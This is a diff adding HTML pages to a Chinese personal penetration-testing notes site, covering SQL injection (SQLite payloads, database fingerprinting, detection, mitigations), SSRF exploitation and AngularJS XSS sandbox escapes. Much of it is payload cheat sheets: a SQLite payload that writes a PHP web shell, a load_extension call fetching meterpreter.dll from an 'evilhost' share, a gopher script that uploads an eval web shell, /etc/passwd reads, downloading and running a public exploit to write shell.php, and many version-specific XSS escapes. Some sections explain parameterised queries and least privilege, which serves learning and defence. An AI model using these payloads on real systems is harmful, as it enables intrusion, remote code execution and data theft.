SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
+

布尔值-计算表数​

+
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
+

布尔值-枚举表名​

+
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
+

布尔值-提取信息​

+
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
+

布尔值-提取信息(排序依据)​

+
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
+

布尔值-基于错误​

+
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
+

基于时间​

+
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+

使用 SQLite 命令执行远程命令-附加数据库​

+
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
+

使用 SQLite 命令执行远程命令-Load_extension​

+
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
+

注意:默认情况下,此组件处于禁用状态

+

参考文献​

+

注入基于 SQLite 数据库的应用程序-Manish Kishan Tanwar

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/index.html new file mode 100644 index 0000000..be9ba30 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/index.html @@ -0,0 +1,202 @@ + + + + + +SQL注入 | wjlin0 + + + + + + + +

SQL注入

+

介绍​

+

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

+

产生原因​

+

SQL注入产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验(类型、长度、业务参数合法性、敏感字符等),同时没有对用户输入数据进行有效地特殊字符过滤,使得用户的输入直接带入数据库执行,超出了SQL语句原来设计的预期结果,导致了SQL注入漏洞。

+

注入举例​

+
+

通过万能密码的举例,来简单讲解SQL注入

+
+
<?php
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
+

用户名username和密码password均来自于用户的直接传入,无任何过滤,后直接拼接到SQL语句中。

+

正常用户登录是,正常sql语句为:

+
select * from users where username = 'admin' and password='password'
+

攻击者带恶意的SQL语句输入的用户名为admin,密码为123' or 1 = 1 --+ ,因为 1=1 永真,所以也就会登录成功

+

应用场景​

+

SQL注入漏洞可能出现在一切与数据库交互的地方,常见举例如下(主要还是存在于增删改查四个字上):

+
+

简而言之:所有和数据库交互的点均可能存在SQL注入

+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
关键字功能举例
增注册新用户、创建订单、添加文章……
删删除用户、删除订单……
改修改订单、更新用户信息……
查查询信息、筛选订单、搜索文章……
+

关系、非关系数据库​

+

关系型数据库(SQL)​

+

什么是(SQL)关系型数据库​

+
+

关系型数据库指的是使用关系模型(二维表格模型)来组织数据的数据库。

+
+

什么是关系模型​

+
+

关系模型可以简单理解为二维表格模型,而一个关系型数据库就是由二维表及其之间的关系组成的一个数据组织。

+
+

常见关系型数据库管理系统(ORDBMS)​

+
    +
  1. Oracle
  2. +
  3. MySql
  4. +
  5. Microsoft SQL Server
  6. +
  7. SQLite
  8. +
  9. PostgreSQL
  10. +
  11. IBM DB2
  12. +
+

关系型数据库的优势​

+
    +
  1. 采用二维表结构非常贴近正常开发逻辑(关系型数据模型相对层次型数据模型和网状型数据模型等其他模型来说更容易理解);
  2. +
  3. 支持通用的SQL(结构化查询语言)语句;
  4. +
  5. 丰富的完整性大大减少了数据冗余和数据不一致的问题。并且全部由表结构组成,文件格式一致;
  6. +
  7. 可以用SQL句子多个表之间做非常繁杂的查询;
  8. +
  9. 关系型数据库提供对事务的支持,能保证系统中事务的正确执行,同时提供事务的恢复、回滚、并发控制和死锁问题的解决。
  10. +
  11. 数据存储在磁盘中,安全可靠。
  12. +
+

关系型数据库的劣势​

+
+

随着互联网企业的不断发展,数据日益增多,因此关系型数据库面对海量的数据会存在很多的不足。

+
+
    +
  1. 高并发读写能力差:网站类用户的并发性访问非常高,而一台数据库的最大连接数有限,且硬盘 I/O 有限,不能满足很多人同时连接。
  2. +
  3. 海量数据情况下读写效率低:对大数据量的表进行读写操作时,需要等待较长的时间等待响应。
  4. +
  5. 可扩展性不足:不像web server和app server那样简单的添加硬件和服务节点来拓展性能和负荷工作能力。
  6. +
  7. 数据模型灵活度低:关系型数据库的数据模型定义严格,无法快速容纳新的数据类型(需要提前知道需要存储什么样类型的数据)。
  8. +
+

非关系型数据库(NOSQL)​

+

什么是(NOSQL)非关系型数据库:​

+
+

非关系型数据库又被称为 NoSQL(Not Only SQL ),意为不仅仅是 SQL。通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定,常用于存储非结构化的数据。

+
+

常见的NOSQL数据库​

+
    +
  1. 键值数据库:Redis、Memcached、Riak
  2. +
  3. 列族数据库:Bigtable、HBase、Cassandra
  4. +
  5. 文档数据库:MongoDB、CouchDB、MarkLogic
  6. +
  7. 图形数据库:Neo4j、InfoGrid
  8. +
+

非关系型数据库的优势​

+
    +
  1. 非关系型数据库存储数据的格式可以是 key-value 形式、文档形式、图片形式等。使用灵活,应用场景广泛,而关系型数据库则只支持基础类型。
  2. +
  3. 速度快,效率高。 NoSQL 可以使用硬盘或者随机存储器作为载体,而关系型数据库只能使用硬盘。
  4. +
  5. 海量数据的维护和处理非常轻松,成本低。
  6. +
  7. 非关系型数据库具有扩展简单、高并发、高稳定性、成本低廉的优势。
  8. +
  9. 可以实现数据的分布式处理。
  10. +
+

非关系型数据库的劣势​

+
    +
  1. 非关系型数据库暂时不提供 SQL 支持,学习和使用成本较高。
  2. +
  3. 非关系数据库没有事务处理,无法保证数据的完整性和安全性。适合处理海量数据,但是不一定安全。
  4. +
  5. 功能没有关系型数据库完善。
  6. +
  7. 复杂表关联查询不容易实现。
  8. +
+

漏洞危害​

+
    +
  1. 获取数据库访问权限,甚至获得DBA权限,从而获取数据库中的所有数据,造成信息泄漏;(可获取数据)
  2. +
  3. 对数据库的数据进行增加、删除、修改操作,例如删除数据库中重要数据的表(可进行增删改操作)
  4. +
  5. 通过构造特殊的数据库语句,可操作数据库进入后台或者插入木马,以获取整个网站和数据库的控制权限,篡改网页,发布不良信息等;(可获取网站权限)
  6. +
  7. 获取服务器最高权限,远程控制服务器,甚至导致局域网(内网)被入侵;(可获取服务器权限)
  8. +
+

修复建议​

+

代码层面​

+

输入过滤(正则过滤)​

+
    +
  1. 严格控制输入数据的类型;如通过id获取用户信息时,仅允许传入的id为整型
  2. +
  3. 严格控制输入数据的长度;如限制用户名长度应小于20
  4. +
  5. 输入合法性判断;禁止出现一些特殊字符或关键词,如',",\,<,>,&,*,;,#,select,from,where,sub,if,union,sleep,and,or等
  6. +
  7. 对所有可能的输入点进行判断检测,如UA、IP、Cookie等
  8. +
+

预编译SQL语句(参数化查询)​

+

参数化查询是一种查询类型,其中占位符用于填充参数,参数值在执行时提供。原理是采用了预编译的方法,先将SQL语句中可被用户控制的参数集进行编译,生成对应的临时变量集,再使用对应的设置方法,为临时变量集里面的元素进行赋值,赋值过程中会对传入的参数进行强制类型检查和安全检查。

+

所有与数据库交互的业务接口均采用参数化查询,参数化的语句使用参数而不是将用户输入变量直接嵌入到SQL语句中,参数化查询是防御SQL注入的最佳方法,比如:Java中的PreparedStatement,PHP中的PDO等。

+
预编译以及原理​
+

预编译是指在创建数据库对象时就将指定的SQL语句编译完成,这时SQL语句已经被解析、审查,所以相对传统的执行方式(每处理一个SQL语句就要解析SQL语句、检查语法和语义),预编译方式在执行数据插入、更新或者删除操作的时候,执行效率更高。

+

为什么预编译能让传入的数据只能是数据,它的底层原理是怎样的?

+

通常来说,一条SQL语句从传入到运行经历了生成语法树、执行计划优化、执行这几个阶段。在预编译过程中,数据库首先接收到带有预编译占位符?的SQL语句,解析生成语法树(Lex),并缓存在cache中,然后接收对应的参数信息,从cache中取出语法树设置参数,然后再进行优化和执行。由于参数信息传入前语法树就已生成,执行的语法结构也就无法因参数而改变,自然也就杜绝了SQL注入的出现.

+
PDO​
+

PDO针对预编译提供了两种模式:本地预编译和模拟预编译。

+

模拟预编译:本身不是一种真正的预编译,它是为了兼容不支持预编译的数据库,将用户输入的参数进行转义,拼接到数据库,由数据库正常解析执行。所以它的预编译 操作是由pdo 完成的 数据库本身没有参与预编译 并且这是PDO的默认模式

+
演示​
+

1、开启MySQL日志,查看日志

+
<?php
$hostname ='127.0.0.1';
$dbname='ctf';
$conn = new PDO( "mysql:host=$hostname;dbname=$dbname",'root','root123456');

//$sql = 'select * from admin where id =\''.$id.'\'';
$sql ="select * from admin where id =?";

$pdos = $conn ->prepare($sql);

$pdos->bindParam(1,$_GET['id']);
$pdos->execute();

var_dump($pdos->fetchAll());
+
2021-11-28T05:29:59.198823Z	    9 Connect	root@localhost on ctf using TCP/IP
2021-11-28T05:29:59.199095Z 9 Query select * from admin where id ='\''
2021-11-28T05:29:59.199806Z 9 Quit
+

如日志所示,mysql本身没有预编译操作,只有连接,查询,关闭 三个操作。

+

2、开启本地预编译模式

+
<?php
$hostname ='127.0.0.1';
$dbname='ctf';
$conn = new PDO( "mysql:host=$hostname;dbname=$dbname",'root','root123456');
$conn -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
//$sql = 'select * from admin where id =\''.$id.'\'';
$sql ="select * from admin where id =?";

$pdos = $conn ->prepare($sql);

$pdos->bindParam(1,$_GET['id']);
$pdos->execute();

var_dump($pdos->fetchAll());
+
2021-11-28T05:36:24.438190Z	   10 Connect	root@localhost on ctf using TCP/IP
2021-11-28T05:36:24.439940Z 10 Prepare select * from admin where id =?
2021-11-28T05:36:24.440013Z 10 Execute select * from admin where id ='\''
2021-11-28T05:36:24.440433Z 10 Close stmt
2021-11-28T05:36:24.440474Z 10 Quit
+

如日志所示,整个流程分为五部 连接,预编译,传入参数执行,关闭预编译语句,关闭数据库

+
0x04 危害​
+

如果使用模拟预编译模式 ,则可能会导致出现宽字节注入漏洞,二次注入漏洞(之前文章写到)

+

1、sql二次注入 - wjlin0

+

2、sql宽字节注入 - wjlin0

+
0x05 总结​
+

1、本次了解mysql的预编译处理能够使用户传入的数据只能是数据,而预编译是提前生成语法树 使其用户不能改变原有的语法结构,从而预防了SQL注入的产生。

+

2、了解了PHP的PDO两种预编译模式 本地预编译,模拟预编译 后者只是由pdo代执行‘预编译操作‘ ,不能算真正意义上的预编译,就会出现宽字节注入和二次注入的风险。而PDO默认模式就是模拟预编译,所以再执行时,最好设置

+
$PDO -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
+

3、同样的JAVA也存在类似的问题,以后学习后再补充。

+

数据库层面​

+

最小权限原则​

+

遵循最小化权限原则,严格限制网站用户的数据库的操作权限,禁止将任何高权限帐户(sa,dba、root等)用于应用程序数据库访问,从而最大限度的减少注入攻击对数据库的危害。

+

禁用敏感函数​

+

防止攻击者通过SQL注入获取到除数据库外的其他更高权限,如系统权限等;

+

比如MSSQL中,拒绝用户访问敏感的系统存储过程,如xp_dirtree、xp_cmdshell等。

+

权限控制​

+

限制用户仅能够访问必须使用的数据库表。

+

统一编码​

+

网站与数据层的编码统一,建议全部使用UTF-8编码,避免因上下层编码不一致导致一些过滤模型被绕过,比如宽字节注入等。

+

其他层面​

+
    +
  1. 网站应避免抛出SQL语句执行过程中的错误信息,如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断;
  2. +
  3. 使用通用防注入系统,或者部署WAF等。
  4. +
+

靶场​

+ +

参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/数据库识别/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/数据库识别/index.html new file mode 100644 index 0000000..f732029 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/数据库识别/index.html @@ -0,0 +1,203 @@ + + + + + +数据库识别 | wjlin0 + + + + + + + +

数据库识别

作者修订时间
wjlin02023-07-05 21:37:29
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述语句
SLEEP函数page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格)page.php?id=' 'mysql' -- page.php?id=' and concat('some','string')
版本信息select @@version select version()
错误消息(根据返回的错误信息判断)page.php?id='
特有函数select connection_id() select last_insert_id() select row_count()
+

Oracle​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述语句
字符串连接`page.jsp?id=''oracle' -- a`
默认表page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1
错误消息(根据返回的错误信息判断)page.jsp?id='
+

MSSQL​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述语句
WAITFOR 函数page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息(根据返回的错误信息判断)page.asp?id='
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误)page.asp?id=@@SERVERNAME
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误)page.asp?id=0/@@SERVERNAME
常量@@pack_received
@@rowcount
+

PostgreSQL​

+ + + + + + + + + + + + + + + + + +
描述语句
字符串连接id=1 and 'a'+'b'='a'
休眠函数page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a
+

Access​

+
+

[!Warning]

+

Access是轻量级数据库,特点是只有单个库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。 +Access只有联合注入和布尔盲注。

+
+ + + + + + + + + + + + + + + + + +
描述语句
access无法想其他数据库那样只能去猜测数据库命......
access空白符%20,%09,%0A,%0C,%0D
+

总结经验​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法描述
常见搭配asp:sql server,Access
.net :sql server
php:PostgreSQL,Mysql
java:Oracle,Mysql
各数据库标志性信息sql server:select@@version
Oracle:select banner from v$version
mysql:select @@version,version() -- ,length(user)>0正常
postgresql:select version() --
各数据库特有的函数sql server: @@pack_received @@rowcount
mysql:connection_id() last_insert_id() row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
对于字符串处理方式sql server :id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'
postgresql :id=1 and 'a'+'b'='a'
特定表mssql,postgresql,mysql:information_schema
postgresql:pg_tables =>
mssql:sysobjects
oracle:all_tables,user_tables
报错banner信息....
+

参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/注入判断/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/注入判断/index.html new file mode 100644 index 0000000..799b4d0 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/注入判断/index.html @@ -0,0 +1,49 @@ + + + + + +注入判断 | wjlin0 + + + + + + + +

注入判断

+
+

[!Tip]

+

挖掘SQL注入漏洞的第一步,就是发现SQL注入漏洞,只有发现了注入点才能够继续深入利用。

+

可以通过多种方式来检测是否存在注入,最简单的就是直接在参数后加上'或者"等特殊字符让web应用程序抛出异常;但这种情况已经很少见了,比较好的方法是通过盲注来进行判断;

+
+

注入判断​

+

检测是否存在注入一般通过两种方式来判断:

+
    +
  1. 输入特殊字符是否抛出相关的异常
  2. +
  3. 输入一些语句运行后是否达到我们预期的结果(返回内容、响应时间等)
  4. +
+ + + + + + + + + + + + + + + + + + + + + +
类型语句和结果
特殊字符id=' ==> 抛出异常
逻辑算数测试id=' and 1 = 1 -- ==> True
id=' and 2 = 1 -- ==> False
id=2-1 ==> 是否返回id=1相关的内容
id=1/1 ==> True
id=1/0 ==> False或者异常
返回延时id=' and sleep(3) ==> 延时3秒甚至更久,需要根据特定的数据库函数来判断
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/SSRF/index.html b/docs/个人知识库/渗透测试/WEB漏洞/SSRF/index.html new file mode 100644 index 0000000..34e7653 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/SSRF/index.html @@ -0,0 +1,112 @@ + + + + + +SSRF漏洞 | wjlin0 + + + + + + + +

SSRF漏洞

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:32:16
+

漏洞介绍​

+

SSRF:全称 Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。

+

漏洞原理​

+

SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。漏洞URL示例: http://xxx.com/api/readFiles?url=http://10.1.11/xxx

+

漏洞利用​

+

内网访问​

+

使用http协议对内网的Web应用进行访问

+
?url=http://127.0.0.1/flag.php
+

PHP伪协议利用​

+
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
dict:// - dict
+

1.php://协议​

+
php://filter
php://input
+
php://filter​
+

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。 +payload如下:

+
php://filter/read=convert.base64-encode/resource=upload.php
+

利用CVE-2024-2961可RCE

+
php://input​
+

访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的。

+
php://output​
+

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

+
php://memory&php://temp​
+

php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 +php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

+
php://fd​
+

2.file://协议​

+

file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。例子一,例子二 +使用方法:

+
file:// [文件的绝对路径和文件名]
file:///etc/passwd
+

ssrf poc gopher

+
import urllib.parse

a = \
"""POST /index.php HTTP/1.1
Host: 127.0.0.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------21311722966185605194227162997
Content-Length: 365
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="upfile"; filename="cmd.png"
Content-Type: image/png


<?php @eval($_POST['cmd']);?>
-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="submit"

上传
-----------------------------21311722966185605194227162997--
"""

tmp = urllib.parse.quote(a)
b = tmp.replace('%0A','%0D%0A')
res = '_'+b
print("gopher://127.0.0.2:8080/"+res)
+

3.phar://协议​

+

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。例子一

+
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
+

4.zlib://协议​

+
zip://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23
+

bzip2://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

+
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
+

zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

+
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
+

5.data://协议​

+

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用,使用如下:

+
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
+

6.phar和zip​

+

https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/

+

CVE-2024-2961​

+

利用php://filter和iconv()函数2.39进行RCE

+

https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

+

在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。

+

安装依赖:

+
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
+

然后从cnext-exploit下载POC并执行:

+
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
+

1

+

可见,我们已经成功写入shell.php:

+

2

+

Gopher​

+

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

+

公网IP的VPS监听 2333 端口

+
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
+

利用 gopher 协议访问

+

浏览器直接访问或者用 curl url

+
http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello
+

收到回显

+
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 183.xxx.xxx.xxx.
Ncat: Connection from 183.xxx.xxx.xxx:9661.
hello
+

Dict​

+

因为此处 ssrf.php 的漏洞代码有回显,所以浏览器直接访问

+
http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info
+

或者终端

+
curl http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info
+

可以获取Redis的配置信息

+

Redis配置

+

同理也可以添加或者查看Redis的信息

+

查看Redis存储的内容

+

2

+

CVE-2021-21287​

+

https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html

+

Reference

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSInAngular/index.html b/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSInAngular/index.html new file mode 100644 index 0000000..de25501 --- /dev/null +++ b/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSInAngular/index.html @@ -0,0 +1,123 @@ + + + + + +Angular 和 AngularJS 中的 XSS | wjlin0 + + + + + + + +

Angular 和 AngularJS 中的 XSS

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 09:51:52
+

客户端模板注入​

+

以下有效载荷基于客户端模板注入。

+

存储/反射 XSS-AngularJS 中的简单警报​

+
+

AngularJS 从 1.6 版本起已经完全删除了沙箱

+
+

AngularJS 1.6+by马里奥 · 海德里希

+
constructor.constructor('alert(1)')()
+

AngularJS 1.6+by@ 野蛮的

+
[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41
+

示例位于https://brutelogic.com.br/xss.php

+

AngularJS 1.6.0 作者:@ 刘易斯-阿德恩&@ 加雷瑟耶斯

+
0[a='constructor'][a]('alert(1)')()
$eval.constructor('alert(1)')()
$on.constructor('alert(1)')()
+

AngularJS 1.5.9-1.5.11 作者Jan Horn

+
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
+

角度 JS 1.5.0-1.5.8

+
x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');
+

角度 JS 1.4.0-1.4.9

+
'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');
+

安格拉 JS 1.3.20

+
'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');
+

安格拉 JS 1.3.19

+

'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');

+

角度 JS 1.3.3-1.3.18

+
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//');
+

角度 JS 1.3.1-1.3.2

+

{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');

+

安格拉 JS 1.3.0

+
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);
+

角度 JS 1.2.24-1.2.29

+
'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");
+

角度 JS 1.2.19-1.2.23

+
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);
+

角度 JS 1.2.6-1.2.18

+
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()
+

角度 JS 1.2.2-1.2.5

+
'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");
+

角度 JS 1.2.0-1.2.1

+
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
+

AngularJS 1.0.1-1.1.5 和 Vue JS

+
constructor.constructor('alert(1)')()
+

高级绕过 XSS​

+

AngularJS(不带 ' 单引号和 " 双引号)

+
x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()
+

AngularJS(不带 ' 单引号和双引号以及字符串)

+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCharCode(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+
x=767015343;y=50986827;a=x.toString(36)+y.toString(36);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[a].fromCodePoint(112,114,111,109,112,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))()
+
